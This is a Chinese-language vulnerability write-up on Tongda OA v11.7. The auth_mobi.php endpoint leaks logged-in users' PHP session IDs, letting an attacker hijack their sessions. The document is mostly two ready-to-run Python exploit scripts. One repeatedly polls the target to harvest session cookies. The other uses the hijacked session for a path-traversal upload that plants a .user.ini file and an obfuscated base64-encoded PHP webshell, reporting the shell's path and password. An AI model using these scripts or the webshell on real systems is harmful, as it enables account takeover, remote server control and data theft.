通达OA v11.7 在线用户登录漏洞

漏洞描述

通达OA v11.7 中存在某接口查询在线用户,当用户在线时会返回 PHPSESSION使其可登录后台系统

漏洞影响

[!NOTE]

通达OA < v11.7

环境搭建

通达OA v11.7下载链接

下载后按步骤安装即可

漏洞复现

漏洞有关文件 MYOA\webroot\mobile\auth_mobi.php

<?php

function relogin()
{
    echo _('RELOGIN');
    exit;
}
ob_start();
include_once 'inc/session.php';
include_once 'inc/conn.php';
include_once 'inc/utility.php';
if ($isAvatar == '1' && $uid != '' && $P_VER != '') {
    $sql = 'SELECT SID FROM user_online WHERE UID = \'' . $uid . '\' and CLIENT = \'' . $P_VER . '\'';
    $cursor = exequery(TD::conn(), $sql);
    if ($row = mysql_fetch_array($cursor)) {
        $P = $row['SID'];
    }
}
if ($P == '') {
    $P = $_COOKIE['PHPSESSID'];
    if ($P == '') {
        relogin();
        exit;
    }
}
if (preg_match('/[^a-z0-9;]+/i', $P)) {
    echo _('非法参数');
    exit;
}
if (strpos($P, ';') !== false) {
    $MY_ARRAY = explode(';', $P);
    $P = trim($MY_ARRAY[1]);
}
session_id($P);
session_start();
session_write_close();
if ($_SESSION['LOGIN_USER_ID'] == '' || $_SESSION['LOGIN_UID'] == '') {
    relogin();
}

在执行的 SQL语句中

$sql = 'SELECT SID FROM user_online WHERE UID = \'' . $uid . '\' and CLIENT = \'' . $P_VER . '\'';

简单阅读PHP源码可以知道 此SQL语句会查询用户是否在线,如在线返回此用户 Session ID

将返回的 Set-Cookie 中的Cookie参数值使用于登录Cookie

访问目标后台 http://xxx.xxx.xxx.xxx/general/

当目标离线时则访问漏洞页面则会出现如下图

[!NOTE]

通过此思路可以持续发包监控此页面来获取在线用户的Cookie

漏洞利用POC

[!NOTE]

5秒一次测试用户是否在线

import requests
import sys
import random
import re
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
    print('+  \033[34m公众号 : PeiQi文库                                                     \033[0m')
    print('+  \033[34mVersion: 通达OA 11.7                                               \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
    print('+------------------------------------------')

def POC_1(target_url):
    vuln_url = target_url + "/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
        if "RELOGIN" in response.text and response.status_code == 200:
            print("\033[31m[x] 目标用户为下线状态 --- {}\033[0m".format(time.asctime( time.localtime(time.time()))))
        elif response.status_code == 200 and response.text == "":
            PHPSESSION = re.findall(r'PHPSESSID=(.*?);', str(response.headers))
            print("\033[32m[o] 用户上线 PHPSESSION: {} --- {}\033[0m".format(PHPSESSION[0] ,time.asctime(time.localtime(time.time()))))
        else:
            print("\033[31m[x] 请求失败,目标可能不存在漏洞")
            sys.exit(0)
    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)


if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    while True:
        POC_1(target_url)
        time.sleep(5)

[!NOTE]

于 2021-3-11 添加进一步利用POC

配合 < v11.8 的 命令执行 当监控到用户上线控制服务器

import requests
import sys
import random
import re
import base64
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mVersion: 通达OA 11.7                                               \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
    print('+------------------------------------------')

def POC_0(target_url):
    vuln_url = target_url + "/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
        if "RELOGIN" in response.text and response.status_code == 200:
            print("\033[31m[x] 目标用户为下线状态 --- {}\033[0m".format(time.asctime( time.localtime(time.time()))))
        elif response.status_code == 200 and response.text == "":
            Cookie = re.findall(r'PHPSESSID=(.*?);', str(response.headers))
            print("\033[32m[o] 用户上线 PHPSESSION: {} --- {}\033[0m".format(Cookie[0] ,time.asctime(time.localtime(time.time()))))
            Cookie = "PHPSESSID={};USER_NAME_COOKIE=admin; OA_USER_ID=admin".format(Cookie[0])
            POC_1(target_url, Cookie)
        else:
            print("\033[31m[x] 请求失败,目标可能不存在漏洞")
            sys.exit(0)
    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)

def POC_1(target_url, Cookie):
    vuln_url = target_url + "/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop\workshop/report/attachment-remark/.user"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
        "Accept-Encoding": "gzip, deflate",
        "Content-Type": "multipart/form-data; boundary=---------------------------17518323986548992951984057104",
        "Connection": "close",
        "Cookie": Cookie,
        "Upgrade-Insecure-Requests": "1",
    }
    data = base64.b64decode("LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNzUxODMyMzk4NjU0ODk5Mjk1MTk4NDA1NzEwNApDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9IkFUVEFDSE1FTlQiOyBmaWxlbmFtZT0idGVzdC5pbmkiCkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbgoKYXV0b19wcmVwZW5kX2ZpbGU9dGVzdC5sb2cKLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNzUxODMyMzk4NjU0ODk5Mjk1MTk4NDA1NzEwNApDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9InN1Ym1pdCIKCuaPkOS6pAotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTE3NTE4MzIzOTg2NTQ4OTkyOTUxOTg0MDU3MTA0LS0=")
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
        print("\033[36m[o] 正在请求 {}/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop/workshop/report/attachment-remark/.user \033[0m".format(target_url))
        if "档案已保存" in response.text and response.status_code == 200:
            print("\033[32m[o] 目标 {} 成功上传.user.ini文件, \033[0m".format(target_url))
            POC_2(target_url, Cookie)
        else:
            print("\033[31m[x] 目标 {} 上传.user.ini文件失败\033[0m".format(target_url))
            sys.exit(0)

    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)

def POC_2(target_url, Cookie):
    vuln_url = target_url + "/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop\workshop/report/attachment-remark/test"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
        "Accept-Encoding": "gzip, deflate",
        "Content-Type": "multipart/form-data; boundary=---------------------------17518323986548992951984057104",
        "Connection": "close",
        "Cookie":  Cookie,
        "Upgrade-Insecure-Requests": "1",
    }
    data = base64.b64decode("LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNzUxODMyMzk4NjU0ODk5Mjk1MTk4NDA1NzEwNApDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9IkFUVEFDSE1FTlQiOyBmaWxlbmFtZT0idGVzdC5sb2ciCkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbgoKPD9waHAgCmVjaG8gInRlc3RfV2lraSI7CiRwemtCPWNyZWF0ZV9mdW5jdGlvbihjaHIoMDEwMTc1MC8wMTY1MikuYmFzZTY0X2RlY29kZSgnY3c9PScpLmJhc2U2NF9kZWNvZGUoJ2J3PT0nKS5jaHIoOTkwODEvOTA5KS5jaHIoMDEwMjUtMDY2MCksY2hyKDA1MTctMDM1MikuY2hyKDB4MzQzLTB4MmNkKS5iYXNlNjRfZGVjb2RlKCdZUT09Jykuc3RyX3JvdDEzKCd5JykuYmFzZTY0X2RlY29kZSgnS0E9PScpLmJhc2U2NF9kZWNvZGUoJ0pBPT0nKS5jaHIoNDQ0LTMyOSkuYmFzZTY0X2RlY29kZSgnYnc9PScpLmNocig1OTctNDg4KS5jaHIoMHgxOWYtMHgxM2EpLmNocigyMTktMTc4KS5iYXNlNjRfZGVjb2RlKCdPdz09JykpOyRwemtCKGJhc2U2NF9kZWNvZGUoJ05EZzFOJy4nemMyTzAnLidCbGRrRicuJ3NLQ1JmJy4nJy5jaHIoODIxMTAvOTY2KS5iYXNlNjRfZGVjb2RlKCdSUT09Jykuc3RyX3JvdDEzKCc5JykuY2hyKDAxNTUwNjQvMDEyMzEpLmJhc2U2NF9kZWNvZGUoJ1ZnPT0nKS4nJy4nJy5zdHJfcm90MTMoJ1MnKS5iYXNlNjRfZGVjb2RlKCdkQT09JykuYmFzZTY0X2RlY29kZSgnTUE9PScpLmNocig2MDc1MC82NzUpLmNocigwMTUwNy0wMTM1NykuJycuJ04wWFNrJy4nN01UUTEnLidOek15TycuJ0RzPScuJycpKTs/PgotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTE3NTE4MzIzOTg2NTQ4OTkyOTUxOTg0MDU3MTA0CkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT0ic3VibWl0IgoK5o+Q5LqkCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tMTc1MTgzMjM5ODY1NDg5OTI5NTE5ODQwNTcxMDQtLQo=")
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
        print("\033[36m[o] 正在请求 {}/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop/workshop/report/attachment-remark/test \033[0m".format(target_url))
        if "档案已保存" in response.text and response.status_code == 200:
            print("\033[32m[o] 目标 {} 成功上传 test.log 文件, \033[0m".format(target_url))
            POC_3(target_url, Cookie)
        else:
            print("\033[31m[x] 目标 {} 上传 test.log 文件失败\033[0m".format(target_url))
            sys.exit(0)

    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)

def POC_3(target_url, Cookie):
    vuln_url = target_url + "/general/reportshop/workshop/report/attachment-remark/form.inc.php?"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Cookie":  Cookie,
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
        print("\033[36m[o] 正在请求 {}/general/reportshop/workshop/report/attachment-remark/form.inc.php? \033[0m".format(target_url))
        if "test_Wiki" in response.text and response.status_code == 200:
            print("\033[32m[o] 目标 {} 存在漏洞,响应中包含 test_Wiki \033[0m".format(target_url))
            print("\033[32m[o] 成功上传蚁剑木马 密码为: test \n[o] webshell路径: {}/general/reportshop/workshop/report/attachment-remark/form.inc.php?\033[0m".format(target_url))
            sys.exit(0)
        else:
            print("\033[31m[x] 目标 {} 不存在漏洞,响应中不包含 test_Wiki\033[0m".format(target_url))
            sys.exit(0)
    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)

if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    while True:
        POC_0(target_url)
        time.sleep(5)

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